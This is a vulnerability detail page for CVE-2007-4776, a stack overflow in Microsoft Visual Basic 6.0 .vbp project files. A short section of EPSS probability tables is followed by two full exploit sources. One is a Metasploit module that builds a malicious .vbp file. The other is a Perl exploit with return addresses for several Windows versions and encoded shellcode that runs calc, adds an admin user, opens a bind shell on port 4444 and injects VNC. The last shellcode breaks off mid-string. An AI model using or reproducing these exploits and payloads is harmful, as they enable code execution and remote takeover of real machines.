CVE-2007-4776 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	87.21%	–	–
2023-03-12	–	–	–	95.28%	–
2023-09-17	–	–	–	95.42%	–
2023-12-03	–	–	–	95.57%	–
2024-02-18	–	–	–	93.97%	–
2024-03-24	–	–	–	93.7%	–
2024-06-02	–	–	–	93.7%	–
2024-06-09	–	–	–	93.9%	–
2024-07-14	–	–	–	94.36%	–
2024-08-25	–	–	–	94.88%	–
2024-09-29	–	–	–	94.93%	–
2024-11-10	–	–	–	94.82%	–
2024-12-15	–	–	–	94.58%	–
2025-01-19	–	–	–	94.58%	–
2025-03-18	–	–	–	–	81.34%
2025-03-18	–	–	–	–	81.34,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2023-03-12	99%
2023-09-17	99%
2023-12-03	99%
2024-02-18	99%
2024-03-24	99%
2024-06-02	99%
2024-06-09	99%
2024-07-14	99%
2024-08-25	99%
2024-09-29	99%
2024-11-10	99%
2024-12-15	99%
2025-01-19	99%
2025-03-18	99%
2025-03-18	99%

## # $Id: ms_visual_basic_vbp.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Visual Basic VBP Buffer Overflow', 'Description' => %q{ This module exploits a stack oveflow in Microsoft Visual Basic 6.0. When a specially crafted vbp file containing a long reference line, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 10477 $', 'References' => [ [ 'CVE', '2007-4776' ], [ 'OSVDB', '36936' ], [ 'BID', '25629' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 650, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Sep 4 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.vbp']), ], self.class) end def exploit sploit = rand_text_alpha_upper(496) + [target.ret].pack('V') sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V') sploit << make_nops(24) + payload.encoded vbp = "Type=Exe\r\n" vbp << "Form=Form2.frm\r\n" vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation" vbp << sploit + "\r\n" vbp << "Startup=\"Form2\"\r\n" vbp << "Command32=\"\"\r\n" vbp << "Name=\"Project2\"\r\n" vbp << "HelpContextID=\"0\"\r\n" vbp << "CompatibleMode=\"0\"\r\n" vbp << "MajorVer=1\r\n" vbp << "MinorVer=0\r\n" vbp << "RevisionVer=0\r\n" vbp << "AutoIncrementVer=0\r\n" vbp << "ServerSupportFiles=0\r\n" vbp << "VersionCompanyName=\"\"\r\n" vbp << "CompilationType=0\r\n" vbp << "OptimizationType=0\r\n" vbp << "FavorPentiumPro(tm)=0\r\n" vbp << "CodeViewDebugInfo=0\r\n" vbp << "NoAliasing=0\r\n" vbp << "BoundsCheck=0\r\n" vbp << "OverflowCheck=0\r\n" vbp << "FlPointCheck=0\r\n" vbp << "FDIVCheck=0\r\n" vbp << "UnroundedFP=0\r\n" vbp << "StartMode=0\r\n" vbp << "Unattended=0\r\n" vbp << "Retained=0\r\n" vbp << "ThreadPerObject=0\r\n" vbp << "MaxNumberOfThreads=1\r\n" vbp << "[MS Transaction Server]\r\n" vbp << "AutoRefresh=1\r\n" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(vbp) end end

#!/usr/bin/perl #' ++ Microsoft Visual Basic 6.0 Code Execution 0-Day ++ #' ++++++++++++++++++++++++++++++++++++++++++++++++++++++ #'++ Author: Koshi + #'++ Email: heykoshi at gmail dot com + #'++ Application: Microsoft Visual Basic 6.0 + #'++ + #'++ Tested on Microsoft Windows XP Home Edition SP2 + #'++ Patched & Updated + #'++ + #'++ The vulnerable buffer exsists in the .VBP files of + #'++ Visual Basic projects. You can jump directly to + #'++ the shellcode, or jump to it via EBP. + #'++ + #'++ There is NO restriction of shellcode size either. + #'++ + #'++ Gr33tz: Rima my baby who I love and adore, Draven + #'++ for pointing me in the right direction, as always. + #'++ + #'++ + #'++ This exploit is for educational use only, blah. + #'++ + #'++ + #'+++++++++++++++++++++++++++++++++++++++++++++++++++++++ #'+++++++++++++++++++++++++++++++++++++++++++++++++++++ # # Ex. of Usage: # perl vb6.pl 1 >>Project.vbp # # $begin0 = "\x54\x79\x70\x65\x3D\x45\x78\x65\x0D\x0A\x46\x6F\x72\x6D". "\x3D\x46\x6F\x72\x6D\x31\x2E\x66\x72\x6D\x0D\x0A"; $begin1 = "\x52\x65\x66\x65\x72\x65\x6E\x63\x65\x3D". "\x2A\x5C\x47\x7B\x30\x30\x30\x32\x30\x34\x33\x30\x2D\x30". "\x30\x30\x30\x2D\x30\x30\x30\x30\x2D\x43\x30\x30\x30\x2D". "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x34\x36\x7D\x23". "\x32\x2E\x30\x23\x30\x23\x2E\x2E\x5C\x2E\x2E\x5C\x2E\x2E". "\x5C\x2E\x2E\x5C\x2E\x2E\x5C\x57\x49\x4E\x44\x4F\x57\x53". "\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x73\x74\x64\x6F". "\x6C\x65\x32\x2E\x74\x6C\x62\x23\x4F\x4C\x45\x20\x41\x75". "\x74\x6F\x6D\x61\x74\x69\x6F\x6E"; $begin2 = "\x0D\x0A\x53\x74\x61\x72\x74\x75\x70\x3D\x22\x46\x6F\x72\x6D\x31\x22\x0D\x0A". "\x43\x6F\x6D\x6D\x61\x6E\x64\x33\x32\x3D\x22\x22"; $BuffOf = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41"; $codeAddr = "\x83\x25\x40\x01"; # You can most likely use a call or a push, you could probably use them from kernel32.dll too. #* ntdll.dll - 0x7C923DA3 jmp Ebp **** Is the one i have used in this example. # 0x77f6d42f jmp ebp ntdll.dll (English / 5.2.3790.3) Windows 2003 Server 5.2.0.0 SP0 (IA32) # 0x77f7d9b6 jmp ebp ntdll.dll (English / 5.1.2600.11061) Windows XP 5.1.1.0 SP1 (IA32) # 0x77f8c449 jmp ebp ntdll.dll (English / 5.0.2163.1) Windows 2000 5.0.0.0 SP0 (IA32) # 0x77faa6ce jmp ebp ntdll.dll (English / 5.2.3790.3) Windows 2003 Server 5.2.0.0 SP0 (IA32) # 0x7c85eb73 jmp ebp ntdll.dll (English / 5.2.3790.1830031) Windows 2003 Server 5.2.1.0 SP1 (IA32) # 0x7c8839ed jmp ebp ntdll.dll (English / 5.2.3790.1830031) Windows 2003 Server 5.2.1.0 SP1 (IA32) #*0x7c923da3 jmp ebp ntdll.dll (English / 5.1.2600.21802) Windows XP 5.1.2.0 SP2 (IA32) # 0x77f8c449 jmp ebp ntdll.dll (French / 5.0.2163.1) Windows 2000 5.0.0.0 SP0 (IA32) # 0x77f6d9b6 jmp ebp ntdll.dll (German / 5.1.2600.11061) Windows XP 5.1.1.0 SP1 (IA32) # 0x7c933da3 jmp ebp ntdll.dll (German / 5.1.2600.21802) Windows XP 5.1.2.0 SP2 (IA32) # 0x77f5d42f jmp ebp ntdll.dll (Italian / 5.2.3790.3) No associated versions # 0x77f6d9b6 jmp ebp ntdll.dll (Italian / 5.1.2600.11061) Windows XP 5.1.1.0 SP1 (IA32) # 0x77f8c449 jmp ebp ntdll.dll (Italian / 5.0.2163.1) Windows 2000 5.0.0.0 SP0 (IA32) # 0x77f9a6ce jmp ebp ntdll.dll (Italian / 5.2.3790.3) No associated versions # 0x7c96eb73 jmp ebp ntdll.dll (Italian / 5.2.3790.1830031) No associated versions # 0x7c9939ed jmp ebp ntdll.dll (Italian / 5.2.3790.1830031) No associated versions # ...backwards..if you don't know why, then gtfo. $jmpEbp = "\xA3\x3D\x92\x7C"; $fourSkin = "\x44\x44\x44\x44"; $begin3 = "\x0D\x0A\x4E\x61\x6D\x65\x3D\x22\x50\x72\x6F\x6A\x65\x63". "\x74\x31\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41"; $koshi = "\x0D\x0A\x48\x65\x6C\x70\x43\x6F\x6E\x74\x65\x78\x74\x49\x44\x3D\x22\x30\x22\x0D\x0A\x43\x6F\x6D". "\x70\x61\x74\x69\x62\x6C\x65\x4D\x6F\x64\x65\x3D\x22\x30\x22\x0D\x0A\x4D\x61\x6A\x6F\x72\x56\x65". "\x72\x3D\x31\x0D\x0A\x4D\x69\x6E\x6F\x72\x56\x65\x72\x3D\x30\x0D\x0A\x52\x65\x76\x69\x73\x69\x6F". "\x6E\x56\x65\x72\x3D\x30\x0D\x0A\x41\x75\x74\x6F\x49\x6E\x63\x72\x65\x6D\x65\x6E\x74\x56\x65\x72". "\x3D\x30\x0D\x0A\x53\x65\x72\x76\x65\x72\x53\x75\x70\x70\x6F\x72\x74\x46\x69\x6C\x65\x73\x3D\x30". "\x0D\x0A\x43\x6F\x6D\x70\x69\x6C\x61\x74\x69\x6F\x6E\x54\x79\x70\x65\x3D\x30\x0D\x0A\x4F\x70\x74". "\x69\x6D\x69\x7A\x61\x74\x69\x6F\x6E\x54\x79\x70\x65\x3D\x30\x0D\x0A\x46\x61\x76\x6F\x72\x50\x65". "\x6E\x74\x69\x75\x6D\x50\x72\x6F\x28\x74\x6D\x29\x3D\x30\x0D\x0A\x43\x6F\x64\x65\x56\x69\x65\x77". "\x44\x65\x62\x75\x67\x49\x6E\x66\x6F\x3D\x30\x0D\x0A\x4E\x6F\x41\x6C\x69\x61\x73\x69\x6E\x67\x3D". "\x30\x0D\x0A\x42\x6F\x75\x6E\x64\x73\x43\x68\x65\x63\x6B\x3D\x30\x0D\x0A\x4F\x76\x65\x72\x66\x6C". "\x6F\x77\x43\x68\x65\x63\x6B\x3D\x30\x0D\x0A\x46\x6C\x50\x6F\x69\x6E\x74\x43\x68\x65\x63\x6B\x3D". "\x30\x0D\x0A\x46\x44\x49\x56\x43\x68\x65\x63\x6B\x3D\x30\x0D\x0A\x55\x6E\x72\x6F\x75\x6E\x64\x65". "\x64\x46\x50\x3D\x30\x0D\x0A\x53\x74\x61\x72\x74\x4D\x6F\x64\x65\x3D\x30\x0D\x0A\x55\x6E\x61\x74". "\x74\x65\x6E\x64\x65\x64\x3D\x30\x0D\x0A\x52\x65\x74\x61\x69\x6E\x65\x64\x3D\x30\x0D\x0A\x54\x68". "\x72\x65\x61\x64\x50\x65\x72\x4F\x62\x6A\x65\x63\x74\x3D\x30\x0D\x0A\x4D\x61\x78\x4E\x75\x6D\x62". "\x65\x72\x4F\x66\x54\x68\x72\x65\x61\x64\x73\x3D\x31\x0D\x0A\x0D\x0A\x5B\x4D\x53\x20\x54\x72\x61". "\x6E\x73\x61\x63\x74\x69\x6F\x6E\x20\x53\x65\x72\x76\x65\x72\x5D\x0D\x0A\x41\x75\x74\x6F\x52\x65". "\x66\x72\x65\x73\x68\x3D\x31\x0D\x0A"; # win32_exec - EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com $shellc1 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34". "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47". "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38". "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48". "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c". "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58". "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44". "\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38". "\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33". "\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47". "\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a". "\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b". "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33". "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37". "\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59". "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56". "\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"; # win32_adduser - PASS=koshi EXITFUNC=seh USER=4dmin Size=495 Encoder=PexAlphaNum http://metasploit.com $shellc2 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44". "\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x44\x4e\x53\x4b\x38\x4e\x37". "\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x38\x4f\x54\x4a\x51\x4b\x58". "\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x53\x4b\x48". "\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c". "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x47\x45\x4e\x4b\x48". "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x50\x4b\x54". "\x4b\x48\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x58". "\x41\x30\x4b\x4e\x49\x38\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33". "\x42\x4c\x46\x46\x4b\x58\x42\x34\x42\x53\x45\x48\x42\x4c\x4a\x37". "\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a". "\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b". "\x42\x30\x42\x30\x42\x50\x4b\x58\x4a\x36\x4e\x53\x4f\x45\x41\x53". "\x48\x4f\x42\x36\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57". "\x42\x55\x4a\x56\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x59". "\x50\x4f\x4c\x58\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x46". "\x46\x56\x50\x42\x45\x36\x4a\x37\x45\x56\x42\x32\x4f\x52\x43\x46". "\x42\x42\x50\x56\x45\x46\x46\x47\x42\x52\x45\x47\x43\x37\x45\x36". "\x44\x57\x42\x42\x46\x53\x46\x36\x4d\x56\x49\x46\x50\x56\x42\x32". "\x4b\x36\x4f\x36\x43\x37\x4a\x46\x49\x36\x42\x32\x4f\x42\x41\x34". "\x46\x54\x46\x34\x42\x32\x48\x52\x48\x52\x42\x52\x50\x36\x45\x46". "\x46\x57\x42\x42\x4e\x56\x4f\x36\x43\x36\x41\x36\x4e\x46\x47\x56". "\x44\x37\x4f\x36\x45\x57\x42\x57\x42\x52\x41\x44\x46\x56\x4d\x56". "\x49\x46\x50\x56\x49\x46\x43\x47\x46\x57\x44\x37\x41\x36\x46\x57". "\x4f\x46\x44\x37\x43\x37\x42\x32\x46\x43\x46\x36\x4d\x56\x49\x36". "\x50\x56\x42\x42\x4f\x32\x41\x44\x46\x54\x46\x54\x42\x50\x5a"; # win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com $shellc3 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e". "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38". "\x4e\x36\x46\x52\x46\x32\x4b\x38\x45\x54\x4e\x53\x4b\x48\x4e\x37". "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x58". "\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x48". "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c". "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x33\x46\x35\x46\x32\x4a\x32\x45\x57\x45\x4e\x4b\x48". "\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54". "\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x58". "\x49\x58\x4e\x46\x46\x52\x4e\x31\x41\x46\x43\x4c\x41\x33\x4b\x4d". "\x46\x46\x4b\x48\x43\x34\x42\x53\x4b\x58\x42\x54\x4e\x30\x4b\x48". "\x42\x57\x4e\x31\x4d\x4a\x4b\x48\x42\x44\x4a\x50\x50\x45\x4a\x46". "\x50\x38\x50\x34\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x46". "\x43\x45\x48\x56\x4a\x36\x43\x53\x44\x33\x4a\x46\x47\x57\x43\x37". "\x44\x53\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e". "\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e". "\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x36\x44\x50". "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45". "\x4f\x4f\x48\x4d\x43\x45\x43\x45\x43\x55\x43\x55\x43\x55\x43\x54". "\x43\x45\x43\x54\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x31". "\x4e\x35\x48\x46\x43\x55\x49\x58\x41\x4e\x45\x59\x4a\x46\x46\x4a". "\x4c\x41\x42\x47\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x46\x42\x31". "\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x32". "\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x55\x4f\x4f\x42\x4d". "\x4a\x56\x45\x4e\x49\x44\x48\x38\x49\x34\x47\x55\x4f\x4f\x48\x4d". "\x42\x45\x46\x45\x46\x45\x45\x35\x4f\x4f\x42\x4d\x43\x59\x4a\x36". "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x45". "\x4f\x4f\x42\x4d\x48\x56\x4c\x36\x46\x56\x48\x46\x4a\x36\x43\x46". "\x4d\x36\x49\x38\x45\x4e\x4c\x46\x42\x35\x49\x45\x49\x32\x4e\x4c". "\x49\x48\x47\x4e\x4c\x56\x46\x54\x49\x48\x44\x4e\x41\x43\x42\x4c". "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x54\x4e\x42". "\x43\x59\x4d\x38\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36". "\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x54\x4f\x4f". "\x48\x4d\x4b\x45\x47\x45\x44\x35\x41\x35\x41\x45\x41\x55\x4c\x46". "\x41\x30\x41\x45\x41\x45\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x36". "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x56". "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f". "\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d". "\x4a\x56\x42\x4f\x4c\x58\x46\x50\x4f\x55\x43\x45\x4f\x4f\x48\x4d". "\x4f\x4f\x42\x4d\x5a"; # win32_bind_vncinject - VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=649 Encoder=PexAlphaNum http://metasploit.com $shellc4 = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4a\x4e\x48\x55\x42\x50". "\x42\x30\x42\x30\x43\x55\x45\x35\x48\x45\x47\x45\x4b\x38\x4e\x36". "\x46\x42\x4a\x31\x4b\x38\x45\x54\x4e\x33\x4b\x48\x46\x55\x45\x30". "\x4a\x47\x41\x50\x4c\x4e\x4b\x58\x4c\x54\x4a\x31\x4b\x48\x4c\x55". "\x42\x42\x41\x50\x4b\x4e\x43\x4e\x44\x43\x49\x54\x4b\x58\x46\x33". "\x4b\x48\x41\x30\x50\x4e\x41\x33\x4f\x4f\x4e\x4f\x41\x43\x42\x4c". "\x4e\x4a\x4a\x53\x42\x4e\x46\x57\x47\x30\x41\x4c\x4f\x4c\x4d\x30". "\x41\x30\x47\x4c\x4b\x4e\x44\x4f\x4b\x33\x4e\x47\x46\x42\x46\x51". "\x45\x37\x41\x4e\x4b\x38\x4c\x35\x46\x52\x41\x30\x4b\x4e\x48\x56". "\x4b\x58\x4e\x50\x4b\x54\x4b\x48\x4c\x55\x4e\x51\x41\x30\x4b\x4e". "\x4b\x58\x46\x30\x4b\x58\x41\x50\x4a\x4e\x4b\x4e\x44\x50\x41\x43". "\x42\x4c\x4f\x35\x50\x35\x4d\x35\x4b\x45\x44\x4c\x4a\x50\x42\x50". "\x50\x55\x4c\x36\x42\x33\x49\x55\x46\x46\x4b\x58\x49\x31\x4b\x38". "\x4b\x45\x4e\x50\x4b\x38\x4b\x35\x4e\x31\x4b\x48\x4b\x51\x4b\x58". "\x4b\x45\x4a\x30\x43\x55\x4a\x56\x50\x38\x50\x34\x50\x50\x4e\x4e". "\x4f\x4f\x48\x4d\x49\x48\x47\x4c\x41\x58\x4e\x4e\x42\x50\x41\x50". "\x42\x50\x42\x30\x47\x45\x48\x55\x43\x45\x49\x38\x45\x4e\x4a\x4e". "\x47\x52\x42\x30\x42\x30\x42\x30\x42\x59\x41\x50\x42\x30\x42\x50". "\x48\x4b\x49\x51\x4a\x51\x47\x4e\x46\x4a\x49\x31\x42\x47\x49\x4e". "\x45\x4e\x49\x54\x48\x58\x49\x54\x46\x4a\x4c\x51\x42\x37\x47\x4c". "\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x49\x4d\x49\x50\x45\x4f\x4d\x4a". "\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x43\x47\x45\x43\x35\x44\x33\x4f\x45". "\x43\x33\x44\x43\x42\x30\x4b\x45\x4d\x38\x4b\x34\x42\x42\x41\x55". "\x4f\x4f\x47\x4d\x49\x58\x4f\x4d\x49\x38\x43\x4c\x4d\x58\x45\x47". "\x46\x41\x4c\x36\x47\x30\x49\x45\x41\x35\x43\x45\x4f\x4f\x46\x43". "\x4f\x38\x4f\x4f\x45\x35\x46\x50\x49\x35\x49\x58\x46\x50\x50\x48". "\x44\x4e\x44\x4f\x4b\x32\x47\x52\x46\x35\x4f\x4f\x47\x43\x4f\x4f". "\x45\x35\x42\x43\x41\x53\x42\x4c\x42\x45\x42\x35\x42\x35\x42\x55". "\x42\x54\x42\x55\x42\x44\x42\x35\x4f\x4f\x45\x45\x4e\x32\x49\x48". "\x47\x4c\x41\x53\x4b\x4d\x43\x45\x43\x45\x4a\x46\x44\x30\x42\x50". 